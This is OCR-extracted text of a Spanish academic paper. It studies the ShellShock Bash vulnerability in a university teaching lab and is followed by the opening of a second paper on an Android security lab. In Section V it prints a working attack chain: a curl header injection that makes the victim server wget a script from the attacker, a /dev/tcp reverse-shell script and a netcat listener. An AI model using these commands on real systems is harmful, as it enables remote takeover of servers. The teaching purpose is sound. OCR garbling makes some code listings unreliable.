llamadas a funciones y variables.

Una de las aplicaciones que puede hacer uso de Bash, es el
conocido servidor de paginas web Apache [6]. Este servidor
web es el mas utilizado a nivel mundial gracias a su proyecto
de cddigo libre, que destaca por su sencillez y facilidad de
uso. Es capaz de atender de manera eficiente gran nimero de
peticiones HTTP, realizar restricciones a un subconjunto de
archivos y gestionar los logs de errores, entre otras tareas.

Para llevar a cabo las peticiones a paginas web y mos-
trar el contenido de ellas, Apache necesita una determinada
configuracién. En primer lugar, es necesario diferenciar entre
contenido estatico, siendo aquel que permanece invariable
desde el momento en el que se crea, y contenido dindmico,
que es aquél que se genera cada vez que se solicita su
visualizacién. Para este ultimo tipo de contenido, hace uso
de la tecnologia mds extendida : CGI (Common Gateway
Inteface) [7]. La interfaz de entrada comin permite a un
cliente o navegador web solicitar datos de un programa
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que se ejecuta en un servidor web. De este modo, CGI
define la manera en la que un servidor web interactda con
programas externos que generan el contenido, como puede ser
la herramienta anteriormente mencionada, Bash. Su extendido
uso se debe a que es una forma muy sencilla de crear
contenido dindmico en un sitio web, a diferencia de otras
tecnologias que suelen ser mds complejas y limitadas, como
son SSI (Server-side includes) [8], con unas capacidades muy
limitadas, Java Servlets [9], donde el codigo se ejecuta en
el propio servidor web en vez de como un proceso aparte o
scripts embebidos en el HTML, como es PHP [10] Por
lo tanto, en base a la vulnerabilidad ShellShock se podran
llevar a cabo ataques que afecten a servidores web que tengan
activado el contenido dindmico CGI, y que a su vez hagan uso
de la herramienta Bash cdmo programa externo.

III. ESTUDIO DE LA VULNERABILIDAD SHELLSHOCK
III-A.  Origen

En la mafiana del 12 de septiembre de 2014, Stephane
Chazelas, un desarrollador de software de cddigo libre francés
y que residia en Gran Bretafia, identific un error que deno-
miné “ShellShock” y que segin €l tenia un impacto a gran
escala en millones de ordenadores, teléfonos y dispositivos
de Internet, afectando tanto a sistemas operativos de cédigo
abierto como Linux o Android, o portétiles de la marca Apple.
Lo asombroso es que, segin varias estimaciones, este error
en el software podria haber existido desde al menos 1993,
habiendo pasado desapercibido para la mayoria de la gente,
pero que con seguridad multitud de hackers malintencionados
(crackers) conocian y habrian podido aprovecharse de él
durante unos 21 anos. Es por ello, que segiin la Base de Datos
de Vulnerabilidades Informéticas del gobierno de Estados
Unidos [11], Shellshock tiene una calificaciéon de 10 sobre
10 en impacto y explotabilidad.

De este modo, los crackers comenzaron a explotar el fallo
desde la noche del 12 de septiembre de 2014, siendo estos
ataques monitorizados por numerosos investigadores que ob-
servaron un uso masivo de virus de gusano cuyo objetivo era
escanear Internet para encontrar aquellos sistemas que fueran
vulnerables. El alcance de ShellShock fue tal, que se estimd
que mds de 500 millones de servidores podrian haberse visto
afectados, lo que equivaldria a un 51 % del total de servidores
de todo el mundo [12]. Estos datos se traducen en millones
de euros para las empresas y servicios afectados, que podrian
haber perdido mucho dinero con la pérdida de informacién
confidencial, ademds de las contramedidas realizadas para
intentar frenar este ataque.

1II-B.  ShellShock

Con el fin de entender por qué este error causd un impacto
tan generalizado y por qué se la ha dado una calificacién de
grave por muchos profesionales del campo de la seguridad,
es necesario analizar en primer lugar qué es Bash y su
significado. Bash es un componente de software comuinmente
conocido como un intérprete de comandos o ’Shell”’de cédigo
abierto de Unix utilizado por millones de servidores web,
ordenadores, teléfonos y otros dispositivos conectados a Inter-
net. Esta herramienta es utilizada por todos estos dispositivos

normalmente de manera interna, de modo que multitud de
comandos son introducidos y ejecutados por el propio sistema
de forma automatica. Gracias a la vulnerabilidad ShellShock
los atacantes, sin necesidad de poseer un conocimiento es-
pecializado, pueden ser capaces de ejecutar codigo de forma
remota, consiguiendo obtener el control de los dispositivos
afectados.

Para explotar esta vulnerabilidad, el atacante solo necesita
inyectar su codigo en las variables de entorno de un proceso
en ejecucion y esto puede ser realizado de forma sencilla a
través de elementos como scripts CGI.

Para llegar a comprender como trata Bash a las variables
cuando una nueva instancia es creada, es necesario diferenciar
entre variables de entorno o globales y variables locales.
Basicamente, la diferencia entre ambas es que la variable local
s6lo tiene valor dentro de nuestra sesion Bash, mientras que
las variables de entorno o globales, se establecen para todas
las sesiones Bash. Un ejemplo de la creacion de variables de
entorno y locales se muestra en lo que sigue:

Listing 1. Guardado y consulta de una variable en bash.
$ Var = ”Shellshock”
$ echo $local_ Var
Shellshock
$ bash
$ echo $local_Var
$

Si se crea una variable y se intenta mostrar su contenido
con el comando echo en el mismo proceso Bash es posible
ver su valor. En cambio, al crear un nuevo proceso bash ya no
serd posible acceder al contenido de la variable previamente
creada. Esto se debe a que hemos creado la variable con el
objetivo de trabajar con ella localmente. Si lo que deseamos
es poder acceder a ella desde cualquier proceso bash, es
necesario crearla como variable de entorno. Para ello se hace
uso del comando export. Un ejemplo de esto se muestra a
continuacion:

Listing 2. Guardado y consulta de una variable en Bash utilizando export.
$ export Var = ”Shellshock”
$ echo $global_Var
Shellshock
$ bash
$ echo $global_Var
$ Shellshock
$

Aqui se puede observar cémo al crear la variable
global_Var, es posible tener acceso a ella tanto en el
mismo proceso Bash dénde se ha creado, como en un nuevo
proceso Bash creado posteriormente. Al utilizar la funcién
export, conseguimos que la variable global_Var sea
definida como global y que por tanto sea cargada por defecto
cada vez que un nuevo proceso Bash sea creado.

Aparte de la creacidon de variables, Bash también permite
la definicién de funciones. Al igual que en el resto de len-
guajes de programacion, una funcién son trozos de script
independiente que llevan a cabo sub-rutinas o tareas concretas,
donde se incluye el codigo necesario para realizar dicha tarea.
De este modo, la creacion de una funcién es similar a la de
una variable:
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Listing 3. Definicion de una funcién en Bash.

$ env X="() {test; };’

A parte del comando export, para la creacion de variables
de entorno, también estd disponible el comando env, el cudl
normalmente se usa para imprimir las variables de entorno
existentes, pero que también puede ser usado para ejecutar
comandos. Por lo tanto, desde que se empieza con () , X
serd tratada como una funcién y se ejecutard su definicién
cuando un nuevo proceso Bash sea creado.

De este modo, tanto la creacién de variables globales,
cémo funciones globales, son realizadas continuamente por
los diferentes dispositivos y servidores para llevar a cabo
multitud de tareas y operaciones. Algunas de las variables mas
comunes utilizadas pueden ser PATH dénde se incluyen los
directorios de los principales comandos ejecutables desde el
terminal, como cd, ls o makedir, entre otros. También
HOSTNAME, para conocer el nombre de nuestro equipo o PWD,
para conocer la ruta en la que nos encontramos.

Hasta aqui, todo el funcionamiento de Bash explicado se
corresponde con un funcionamiento normal. Sin embargo, la
vulnerabilidad ShellShock hace uso de un fallo en la creacion
de nuevas funciones en Bash.

En el siguiente cédigo se puede ver la misma funcién
definida en el cédigo anterior pero en esta ocasién, se ha
continuando escribiendo tras el simbolo ;”. Al abrir una
nueva sesion de Bash, todas las funciones o variables globales
definidas, como pueden ser PATH, HOSTNAME o PWD,
son cargadas para su uso. Si creamos una nueva funcién y
la definimos como variable de entorno con el comando env,
al crear la nueva instancia de bash esta también serd cargada.

Listing 4. Uso de la vulnerabilidad ShellShock para realizar un ping a la

direccién IP 8.8.8.8. .
env X="() {test; }; ping 8.8.8.8"

El fallo surge debido a que Bash no realiza ninguna
comprobacién tras la definicién de la funcién y al iniciarse
una nueva sesion Bash ejecuta los comandos que se hayan
incluido tras la misma. En el ejemplo anterior, un ping a los
servidores DNS publicos de Google es realizado tras el inicio
de cada sesion nueva de Bash.

El uso por parte de un atacante podria venir en el caso
de que este configure una variable de entorno con cddigo
malicioso e inicie después una nueva instancia de Bash.
Aunque el verdadero potencial de este fallo se encuentra
cuando se lleva a cabo esta configuracion de forma remota.
Los atacantes usan la habilidad de configurar variables de
entorno indirectamente en servidores Apache o DHCP, entre
otros, para conseguir el control de maquinas vulnerables. Un
ejemplo de esta forma de ataque serd expuesto en la Seccién
V.

III-C.  Archivos implicados en la vulnerabilidad ShellShock

La primera aplicacién del parche que solucionaba la vulne-
rabilidad de ShellShock, se realizd en la version 4.3 de Bash,
siendo vulnerables todas las versiones anteriores a esta. Al ser
Bash un software libre, puede ser modificado y redistribuido
libremente con cualquier fin, de forma que en este caso
también pueda ser editado para mejorar fallos y bugs presentes
en la actual version. Dicho esto, Stephane Chazelas al detectar
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esta vulnerabilidad en 2014, presentd un parche para Bash que
modificaba una serie de archivos de cdédigo libre para corregir
ShellShock y de este modo evitar posibles futuros ataques.

En primer lugar, cuando se crea una variable de entorno
con el comando env, Bash llama a una serie de funcio-
nes implicadas en esta operacion. El parche presentado por
Stephane Chazelas presentd una serie de archivos, donde se
encuentran las funciones que mds tarde se ejecutaran en el
nicleo de Linux y que son las causantes de la existencia de
la vulnerabilidad ShellShock. Concretamente fueron dos los
archivos modificados: variables.c ubicado en la carpeta
principal de Bash y evalstring.c localizado en la carpeta
de builtins.

Uno de los archivos llamados es variables.c. Si ob-
servamos la Figura 1 en la parte del fichero dénde se define
la exportaciéon de funciones, observamos cémo Bash trabaja
con este tipo de variables.

La definicién de funciones como variables de entorno se
exportan cuando el intérprete Bash comprueba con STREQN
si la variable introducida comienza con " () {".La nueva
instancia de Bash explorard su lista de variables de entorno
y las convertird en funciones internas. Tras esta compro-
bacién, Bash concatenarda el nombre de la funcién con el
valor de la funcién que se estd tratando. Por ejemplo, si
la funcién se llama fl y contiene el valor ”() 1ls {1
; echo vulnerable”, la funcién sera almacenada en
una variable temp_string de la forma ”f1() 1s {1
; echo vulnerable”, incluyendo cédigo detrds de la
funcion definida. A continuaciéon, es llamada la funcion
principal dénde se detecta si existe el fallo de ShellShock,
parse_and_execute (). Esta funcion es llamada con
tres pardmetros, temp_string con la variable de entorno
completa como hemos comentado anteriormente, t name con
el nombre de la funcién importada y una serie de flags.

Estas flags son los principales cambios introducidos en el
parche. En versiones anteriores, cuando se llama a la funcién
parse_and_execute () s6lo se llamaba con dos de estas
flags: SEVAL_NONINT y SEVAL_NOHIST, la primera de
ellas indica que el usuario no interactuard con el Shell para
la ejecucion de comandos y la segunda es utilizada para que
no se afladan definiciones al historial de Bash.

En versiones vulnerables, cuando Bash definia la fun-
cién al encontrar ” () {”no detenia su proceso, sino que
continuaba analizando y ejecutando cédigo posterior, y es-
to era debido a que no existia ninguna comprobacién ni
limitacién en la definicién de funciones como variables de
entorno. Es por ello, que se introdujeron las dos nuevas flags
SEVAL_FUNCDEF y SEVAL_ONECMD. Para conocer cudl
era el cometido exacto de dichas flags, es necesario anali-
zar el archivo evalstring.c, donde se ubica la funcién
parse_and_execute () llamada desde variables.c.

Estas flags simplemente realizaban una serie de comproba-
ciones, de manera que si se encontraba alguna irregularidad
en la definiciéon de nuevas funciones, dicha funcién queda
invalidada.

IV. LABORATORIO DOCENTE PARA SEGURIDAD

Para la ejecucioén de un entorno experimental donde poder
explotar la vulnerabilidad ShellShock nos basamos en el
laboratorio docente disefiado en nuestro trabajo previo [2].
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(privmode == @ && read but dont execute == 0 &&

STREQN (BASHFUNC PREFIX, name, BASHFUNC PREFLEN) && STREQ
(BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN)
& STREQN ("() {", string, 4))

size_t namelen;
char *tname;
namelen = char index - BASHFUNC PREFLEN - BASHFUNC SUFFLEN;
tname = name + BASHFUNC_PREFLEN; /* start of func name */
tname[namelen] = . /* now tname
string_length = strlen (string);

temp string = (char *)xmalloc (namelen + string length +
memcpy (temp string, tname, namelen);
temp_string[namelen] = ' ';

\O"' =

2%

memcpy (temp string + namelen + 1, string, string length + 1);

if (absolute program (tname)==0&&(posixly correct==0
| |legal identifier(tname)))
parse_and_execute (temp_string, tname,
SEVAL NONINT|SEVAL NOHIST|SEVAL FUNCDEF |SEVAL ONECMD);

Figura 1. LLamada a las funciones en el archivo variables.c del

directorio de Bash.
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Figura 2. Distribucién del laboratorio 3.7 de la escuela ETSIIT-UGR.

El laboratorio utiliza la tecnologia de arranque a través
de USB (live-USB) con fines docentes, con la que podemos
arrancar uno o varios sistemas operativos a través de maquinas
virtuales. La ejecucién del experimento tendrd lugar en los or-
denadores de los laboratorios de la ETSIIT-UGR. En concreto
nuestro laboratorio dispondrd de 26 puestos interconectados
como se puede apreciar en la Figura 2, y que a su vez se
encuentran divididos en bloques independientes denominados
islas, existiendo un total de 4 islas de 6 a 7 equipos y 6 routers
en cada una. Ademds, el laboratorio presenta dos redes donde
poder trabajar, la red de datos, para interconectar los equipos
de una misma isla y con las demds, y la de gestién, que
interconecta en un mismo switch todos los dispositivos del
laboratorio.

Gracias al uso de live-USB, las mdquinas virtuales podran
ser configuradas previamente, lo que aporta mds flexibilidad
y manejo por parte de los alumnos, ya que les permite
centrarse en la realizacién de la practica sin preocuparse en
la resolucién de problemas relacionados con la instalacion
o configuracién del software, ademds de la posibilidad de
finalizar una préctica inacabada en sus propios ordenadores
personales.

En este laboratorio docente se combina al concepto de live-

func name */

USB, la tecnologia de virtualizacién, con la que se pueden
arrancar sistemas operativos que hayan sido configurados
previamente para los alumnos por el docente, pudiendo dis-
poner de una gran variedad de sistemas operativos en un

/* desired imported function name */laboratorio donde normalmente ya existe un una estructura

fija de conexiones y ordenadores que es dificil y costosa de
modificar. De este modo, tendremos preparados USB en un
estado inicial a partir del cual la realizacién de los diferentes
ataques o técnicas de defensa llevadas a cabo no conlleven un
trabajo adicional por parte de los alumnos.

Entre las muchas plataformas existentes, hemos optado por
utilizar VirtualBox [13], un software de c6digo libre sujeto a
la licencia GPL, con una gran abanico de posibilidades en el
ambito de la configuracion y personalizacién de los diferentes
sistemas operativos instalados y que ademds permite simular
mayor cantidad de maquinas que otros software del mercado.

V. IMPLEMENTACION DE LA VULNERABILIDAD

V-A. Entorno experimental

Es necesario especificar cudl serd la estructura especifica
de nuestro sistema live-USB, indicando qué méiquina actuara
de victima y cudl de atacante.

Toda la configuracién realizada en los live-USB serd llevada
a cabo por el personal docente, de modo que el alumno sélo
deba centrarse en la realizacién de la practica. La realizacién
previa estard enfocada a la instalacion de los sistemas operati-
vos Ubuntu 14.04 y Kali Linux en un mismo sistema host, a
través de maquinas virtuales con el software VirtualBox. Por
lo tanto, basdndonos en el montaje realizado en el articulo
del laboratorio docente de Ciberseguridad [2] utilizando la
herramienta Systemback para el volcado y grabacién de las
imagenes en el live-USB, se escogeran unas determinadas
versiones tanto para la mdquina virtual que actuard cémo
victima, cémo la maquina que realizard el papel de maquina
atacante.

= Maiquina atacante

Para la maquina atacante se utilizara el sistema operativo
Kali Linux. Esta distribucién basada en Debian GNU/Linux
aporta un inicio grafico potente destinado a tareas de seguridad
e informdtica principalmente. Su eleccién es debida a que
presenta un gran nimero de herramientas en tareas de test
de penetracion con posibilidad de personalizacién, ademas
de un gran soporte de dispositivos, cédigo abierto e interfaz
personalizable, que junto a su licencia gratuita hacen de este
sistema una potente herramienta para llevar a cabo multitud
de tareas.

= Maiquina victima

Para la maquina victima es necesario escoger un sistema
operativo cuya version de Bash sea vulnerable. Puesto que la
vulnerabilidad ShellShock fue descubierta en 2014, no fue
hasta 2014 cuando Ubuntu lanzé su versiéon 14.10 con la
herramienta bash actualizada. Es por ello, que utilizaremos la
dltima version de Ubuntu vulnerable a ShellShock, la 14.04
que data de abril de 2014. En dicho sistema, serd necesario
instalar el servidor Apache [6], el cual hard uso de la herra-
mienta bash y que por tanto serd vulnerable a ataques por parte
de una maquina externa, en nuestro caso, la maquina atacante
Kali Linux. Para su configuracién, simplemente deberemos
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UBUNTU
14.04

192.168.1.1

192.168.1.2

HOST s Live-USB

Figura 3. Esquema de red Virtual con live-USB.

192.168.1.1 192.168.1.2

Peticién al archivo test.sh

+— 3
ATACANTE
S
2 Peticién script con Wget a 192.168.1.2
+—
Descarga del script en la maquina
vulnerable
| ATACANTE |
Conexidn netcat inversa
3 al puerto 4444

vicTIMA ATACANTE

Figura 4. Esquema ejecucion ataque ShellShock.

afiadir al archivo de configuraciéon de Apache el médulo que
habilite la opcidn de scripts CGI, que serdn los vulnerables a
ShellShock como veremos a continuacién.

Una vez conocidas las dos mdaquinas implementadas, es
necesario concretar cuales serdn las caracteristicas especificas
de estas. En la Figura 3 vemos la configuracién a nivel de
red, ambas quedardn conectas a través de una red interna
con direcciones IP 192.168.1.1y 192.168.1.2, para
la maquina victima y la maquina atacante respectivamente.
De este modo, el atacante podra tener acceso a los ficheros
pubicos disponibles en el servidor simplemente accediendo
desde su navegador a la direccién IP del servidor Apache.

V-B. Experimentacion

Aplicando todos los conceptos explicados anteriormente y
utilizando la estructura definida en el punto anterior, se reali-
zard un pequeflo ejemplo para intentar mostrar el potencial
de la vulnerabilidad ShellShock. Partiendo de un servidor
vulnerable y una médquina atacante, el ejemplo se dividird en
2 partes: preparacion del ataque y ejecucion del ataque.

V-B1. Preparacion del ataque: El objetivo es conseguir
que la maquina victima, dénde se encuentra el servidor Apa-
che, realice la descarga de un script en el que se implementa
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el ataque deseado. En este caso, se intentard una conexion
netcat inversa, de modo que se consiga que sea la maquina
victima la que se conecte a la maquina atacante, consiguiendo
que el firewall o router de la maquina atacada no
imposibilite la conexién, hecho que ocurre si fuera una
conexion directa desde la méaquina atacante a la victima, ya
que la mayorfa de firewall no analizan el trafico saliente,
sino sélo el entrante. Para poder realizar dicha tarea, lo tnico
que se necesita es que nuestra red esté configurada para
aceptar conexiones en un puerto determinado. Ademas, serd
necesario que el archivo creado con el ataque esté disponible
para su descarga en algtn servidor web, ya que se utilizard
la herramienta GNU Wget [14] para acceder a la URL y
realizar la descarga. Esta herramienta es ampliamente utilizada
en multitud de sistemas UNIX, permitiendo descargas con
protocolos HTTP, HTTPS o FTP.

El script a crear serd un ejecutable en formato .sh, de
manera que en él se incluya el ataque deseado. Una posible
implementacion podria ser la mostrada en el cédigo siguiente,
dénde se incluye una conexién TCP a la mdquina atacante con
direccién IP 192.168. 1. 2. Para poder realizar dicha cone-
xién, en la maquina atacante es necesario abrir un puerto de
escucha en un terminal, simplemente ejecutando el comando
nc —-1lv 4444, de modo que el puerto 4444 permanecera
a la espera de alguna conexién. Por otro lado, para poder
acceder al archivo desde cualquier mdquina a través de la
herramienta Wget, en la maquina atacante tendra instalado su
propio servidor Apache no vulnerable. De este modo, subire-
mos el script ala carpeta cgi-bin, de manera que pueda ser
descargado desde cualquier maquina de la red interna, aunque
también podria utilizarse una direccién IP publica. Por lo tan-
to, la ubicacion del script quedaria localizada en la direccién
http://192.168.1.2/cgi-bin/script.sh.

Listing 5. Script para conexién inversa a través de netcat.
#!/bin/bash
/bin/bash
exit

—I>& /dev/tcp/192.168.1.2 0>&l1

V-B2. Ejecucion del ataque: Una vez que se dispone de
acceso al script con el ataque desde cualquier maquina,
ahora serd necesario que la maquina victima, dénde se ubica
el servidor Apache vulnerable, se lo descargue y de este modo
realice la conexién inversa a nuestro host. Para facilitar la
comprension del ataque, se hard uso de la Figura 4, dénde se
incluyen los pasos realizados.

= Paso 1: Peticién al servidor vulnerable por ShellShock

Una vez que se ha abierto el puerto 4444 a
escucha en la mdéquina atacante, en otro terminal
se realiza la peticion al servidor Apache vulnerable
con direccion IP 192.168.1.1. Para ello en un
terminal, es necesario ejecutar el siguiente comando:
curl -H x:’ () { :; }; /usr/bin/wget
http://192.168.1.2/cgi-bin/script.sh’
http://192.168.1.1/cgi-bin/test.sh

La herramienta Curl [15], es muy conocida por simular
peticiones a URLs como si de un navegador se tratara. De
este modo, con el anterior comando lo que se consigue es
realizar una peticion HTTP, en la cudl se modifica una de
las cabeceras para incluir nuestro ataque. Con el comando
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root@administrador: fusr/local/httpd-2.2.31/cgi-bin#¥ nc -1lv 4444
Listening on [0.0.0.0] (family 8, port 4444)
Connection from [192.168.1.1] port 4444 [tcp/*] accepted (family 2, sport 45824)

bash: no job control in this shell

daemon@administrador: /usr/local/httpd-2.2.31/cgi-bins

Figura 5. Puerto 4444 a la escucha para conexion inversa.

—-H queda indicado que se va a crear una cabecera nueva,
en donde se observa que se introducird el c6digo malicioso al
escribir la peticion de descarga del archivo script.sh al servidor
de la maquina atacante con direccién IP 192.168.1.2. El
fallo que tiene lugar cuando hacemos este tipo de peticiones
HTTP, se debe a que estamos intentando acceder a un archivo
con contenido dindmico en un servidor Apache vulnerable a
ShellShock. Por lo tanto, cuando se intenta acceder a dicho
contenido, el servidor hard uso de programas externos, en este
caso, de la herramienta bash, que tomara la cabecera creada
como una funcién global, y cuyo contenido no es evaluado
para comprobar si incluye cédigo atacante. De este modo,
la funcién definida x serd cargada por bash, ademds de la
peticiéon de descarga del archivo script.sh con la herramienta
Weget que se ha definido tras el ;.

= Paso 2: Descarga del script

Al ser el servidor atacado vulnerable a ShellShock, cuando
se realiza la peticion por parte de la maquina 192.168.1.2,
el servidor no comprobar4 si existe cddigo tras la definicion de
la cabecera, que sera tomada por bash como una funcién. De
modo que, automdticamente, se hard la peticiéon de descarga
con la herramienta Wget al servidor de la maquina atacante,
consiguiendo de este modo que la maquina victima ejecute el
script donde se ha incluido la conexion netcat a la maquina
atacante.

= Paso 3: Ejecucion del script

Cuando la maquina vulnerable descarga el script, automati-
camente es ejecutado, ya que con Wget lo que se hace es abrir
el archivo ubicado en dicha direccion URL. Por lo tanto, al
realizar la peticién a nuestro servidor para acceder al script, la
conexion inversa serd creada, cdmo podemos ver en la Figura
5.

De este modo, conseguimos saltar el router que normal-
mente imposibilita las conexiones entrantes, pero no salientes,
pudiendo conectarse a redes situadas detrds del router, ya que
no existe necesidad de redirigir los puertos.

VI. CONCLUSIONES Y TRABAJOS FUTUROS

Este trabajo presenta el estudio de la vulnerabilidad ShellS-
hock en un laboratorio docente de la Universidad de Granada,
con el objetivo de la formacion de personal en el campo de
la ciberseguridad. El estudio de esta vulnerabilidad no sélo
permite estudiar el funcionamiento de ShellShock sino que
también resulta ser una forma muy dindmica para repasar mul-
titud de conceptos y de herramientas propias de la telemética.

Adicionalmente, atn existen lineas en las que profundizar
de cara a la mejora del presente trabajo:

= Llevar a cabo la busqueda de servidores vulnerables a

ShellShock en la red piblica con el objetivo de alertar
a dichos servidores.

(1]
(2]

[3]

[4]
(3]
(6]
[7]
(8]
[9]

[10]
[11]

[12]

[13]
[14]

[15]

Explotar la vulnerabilidad ShellShock en otro tipo de
tecnologias diferentes a los servicios web como pueden
ser los servidores DHCP.

Extender el estudio de vulnerabilidades que afecten a los
sistemas Unix con el fin de un mejor conocimiento en
el campo de la ciberseguridad.
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Resumen—El principal objetivo de este proyecto es abordar
la seguridad de un sistema tan expandido mundialmente como
Android, donde aparecen nuevos malware cada dia. Para esto
se pretende montar un laboratorio de seguridad utilizando live-
USB con el S.0. Android. A partir de esto se utilizara dicho
laboratorio para el estudio de una vulnerabilidad especifica, en
nuestro caso un ataque ICMP Redirect y una Botnet. Es de
resaltar que este proyecto esta enmarcado en el segundo afo
de un proyecto de innovacion docente destinado a montar un
laboratorio de seguridad e incluir en este la habilidad de estudiar
sistemas operativos méviles sera de gran utilidad.

Palabras clave—botnet, docente, live-USB, laboratorio, man in
the middle, seguridad.

I. INTRODUCCION

S innegable que en los dltimos afios los dispositivos

méviles han pasado de ser un simple teléfono portatil
a convertirse en una herramienta fundamental en la vida
cotidiana de gran parte de la poblacién mundial. En este
avance imparable el sistema operativo Android es, con gran
diferencia el mds extendido, en concreto segtin [1] Android
estd instalado en un 81% de todos dispositivos méviles del
mundo.

Prueba de esta gran implantacién de los dispositivos
méviles es que, seglin el informe sobre seguridad mévil de
2016 publicado por la empresa Now Secure [2], el nimero de
dispositivos mdviles en el mundo ya ha superado el nimero
de personas viviendo en €I, y que en 2015 se realizaron mds
biisquedas en Google mediante dispositivos méviles que sobre
ordenadores en 10 paises. Ademas, como datos relacionados
con la seguridad en este mismo informe se indica que el 35%
de las comunicaciones mdviles no estan encriptadas; y que el
24.7% de las aplicaciones mdviles poseen un alto riesgo de
seguridad.

Desafortunadamente, no solo es la tecnologia lo que avanza,
sino que el desarrollo de malware asociado a ella también
crece considerablemente, y dentro de este sector, segin un
estudio de Forbes, Android acapara mas del 97% de los
ataques en entornos méviles [3].

La consecuencia directa de estos datos es la existencia de
una necesidad de profesionales cualificados en el campo de
la ciberseguridad, como indica Cisco en su informe anual de
seguridad de 2016 [4], las empresas relacionadas deben seguir
aumentando su conciencia en términos de preparacién en
niveles de seguridad, mediante la formacién de profesionales
especializados y el aumento presupuestario para respaldar la

tecnologia y el personal; y en concreto, en relacion a la seguri-
dad en dispositivos méviles donde hay una menor cantidad de
informacidn técnica relacionada con la ciberseguridad.

Derivado de lo anterior, se pone de manifiesto la necesidad
de aumentar la formacidn en ciberseguridad y en concreto en
el campo de los dispositivos méviles con S.O. Android. Por
esto, en el presente trabajo se pretende disefiar un laboratorio
de seguridad donde se puedan hacer pruebas de forma flexible
y con una finalidad docente. Desde la Universidad de Granada,
ya se inicié el afio pasado un proyecto de investigacién
docente [5] donde se proponia una solucién al disefio de
laboratorios de redes de ciberseguridad de forma flexible y
eficiente, mediante métodos de virtualizaciéon y live-USB,
donde se salvaban numerosas dificultades que plantean los
laboratorios de seguridad implementados actualmente en la
universidad. Con este trabajo se expande dicho proyecto,
dandole una extension préctica al estudio de la seguridad
en Android, y sirviendo de ejemplo para la implementacién
de laboratorios virtuales en la docencia en el campo de la
seguridad en redes.

Esta solucién basada en un laboratorio virtual nos permite
trabajar en el estudio de ataques y vulnerabilidades de An-
droid con un grado de realismo muy completo, sin las limita-
ciones que tendriamos con un escenario dependiente de una
estructura fisica concreta, y trabajando con maquinas virtuales
con los mismos sistemas operativos que los utilizados en los
dispositivos reales.

Adicionalmente, y como prueba de concepto de este labo-
ratorio de seguridad, en el presente trabajo se emplea dicho
laboratorio propuesto para realizar un ataque Man in the
Middle (MitM) aprovechando una vulnerabilidad presente en
la configuracién por defecto de los dispositivos Android. Por
motivos de extension, se presenta en este articulo uno de los
dos casos de estudios vistos en el Trabajo Fin de Grado, en
el trabajo completo se puede consultar el caso de estudio de
una Botnet en dicho entorno, que se realiza de forma anédloga.

El resto del articulo presenta la siguiente estructura.

En primer lugar, en la Seccién II, se detalla la estructura
propuesta para el laboratorio docente. En la Seccién III se
presentan los conceptos fundamentales relativos a los ataques
Man in the Middle, para continuar con la exposicién de un
caso de uso préctico de un ataque MitM al S.O. Android en
la Seccion IV. Finalmente, las conclusiones obtenidas y unas
lineas de trabajo futuro se indican en la Seccién V.
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II. LABORATORIO DOCENTE PARA SEGURIDAD EN
ANDROID

El objetivo de esta seccidon es el de presentar el disefio
seguido para montar el laboratorio docente de seguridad
en Android basado en live-USB. Este laboratorio se basa
fundamentalmente en el trabajo previo [5] desarrollado en
la Universidad de Granada, donde se propone una solucién
a la implementacién de laboratorios de seguridad destinados
a la docencia basados en técnicas de virtualizacion y live-
USB. Dicho trabajo demostraba las innumerables ventajas de
disponer de un laboratorio de este estilo donde el profesor
puede modificar el entorno a su antojo, y posteriormente
distribuir una copia exacta a cada alumno para cargar en
sus PCs mediante un /ive-USB; obteniendo asi un laboratorio
adaptado a las necesidades docentes de cada momento.

Como prueba de concepto del uso de este laboratorio de
seguridad en Android se implementard un ataque Man In
The Middle. Es necesario que el laboratorio sea un entorno
controlado que reproduzca fielmente la realidad, y para ello
se necesita al menos un equipo con un S.O. Android y otro
sistema que ejerza de atacante, ambos con conectividad dentro
de una red LAN. Para conseguir reproducir esta situacién
en un laboratorio docente, como podria ser el laboratorio
de redes de la Escuela Técnica Superior de Ingenierfas de
Informatica y de Telecomunicaciones de la Universidad de
Granada (ETSIIT-UGR), que es donde se realizan las précticas
de las asignaturas de seguridad en redes; la mejor solucién
consiste en el montaje de un laboratorio virtual con las
caracteristicas descritas previamente. En él, dependiendo de
la configuraciéon que realice el docente, se podria trabajar
de forma local en cada PC cargando una imagen mediante
live-USB que contenga un host anfitriéon con al menos dos
mdquinas virtuales, una maquina Android y otra Linux que
actie como atacante, donde el host anfitrion actuaria de router
LAN. De esta forma se dispondria de todo el entorno de
trabajo concentrado en un sélo /ive-USB que posteriormente
el alumno podria llevarse a casa para continuar el trabajo
reproduciendo exactamente el mismo escenario que en el lab-
oratorio fisico. La otra opcidn, seria el montaje de escenarios
mds complejos donde se requiera la interconetividad de varios
dispositivos live-USB para el trabajo conjunto entre alumnos,
este caso se estudia en el Trabajo Fin de Grado a través de
la implementacién de una Botnet para el S.O. Android.

Por lo tanto se dispondra de tres roles diferentes en nuestro
escenario (equipo anfitridn, atacante y victima), y los sistemas
empleados se deben escoger cuidadosamente en funcién de
nuestras necesidades:

« Para la eleccién del equipo anfitrién (host), se ha optado
por un sistema GNU/Linux ya que cuenta con innumer-
ables ventajas como mayor flexibilidad, portabilidad y
eficiencia. Y en concreto se elige el sistema Lubuntu,
ideal para nuestro objetivo al consumir pocos recursos y
conseguir una gran eficiencia.

« La mdquina atacante elegida para nuestro laboratorio
sera Kali Linux, una distribucién basada en Debian
GNU/Linux ideal para nuestro propdsito al estar disefiada
para la auditoria y seguridad informética. Esta dis-
tribucién cuenta con una gran cantidad de herramientas
utiles para nuestras practicas de seguridad, que nos
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Fig. 1. Esquema del escenario virtual en un Live-USB.

ofrecerd la posibilidad de experimentar con el mayor
nimero de vulnerabilidades posibles.

« Finalmente, se debe disponer de una maquina Android
virtualizada, que se aproxime lo médximo posible a los
sistemas que se encuentran actualmente en el mercado
y en circulacién. Por ello, se ha escogido la version
Android 4.4.2 KitKat, una de las mas usadas actualmente
a nivel mundial con un 46% de uso [2].

Para el montaje del laboratorio de practicas, el docente debe
seguir unos pasos previos para preparar las copias live-USB
en funciéon del objetivo de la practica en cuestion. Como
software de virtualizaciéon se ha escogido Virtual Box [6]
(www.virtualbox.org) debido a sus altas prestaciones y su
condicién de software libre. Para la generacién del Live-
USB se emplea Systemback [7], una herramienta de Ubuntu
que genera una imagen donde vuelca una copia en vivo del
sistema operativo Ubuntu que la contiene, y permite grabarla
posteriormente en un dispositivo /ive-USB. En nuestro caso
nos centraremos en la creacién de un live-USB donde esté
el escenario completo configurado con el fin de no tener que
depender de una estructura fisica concreta para la realizacion
de la practica, esto garantiza la portabilidad absoluta del
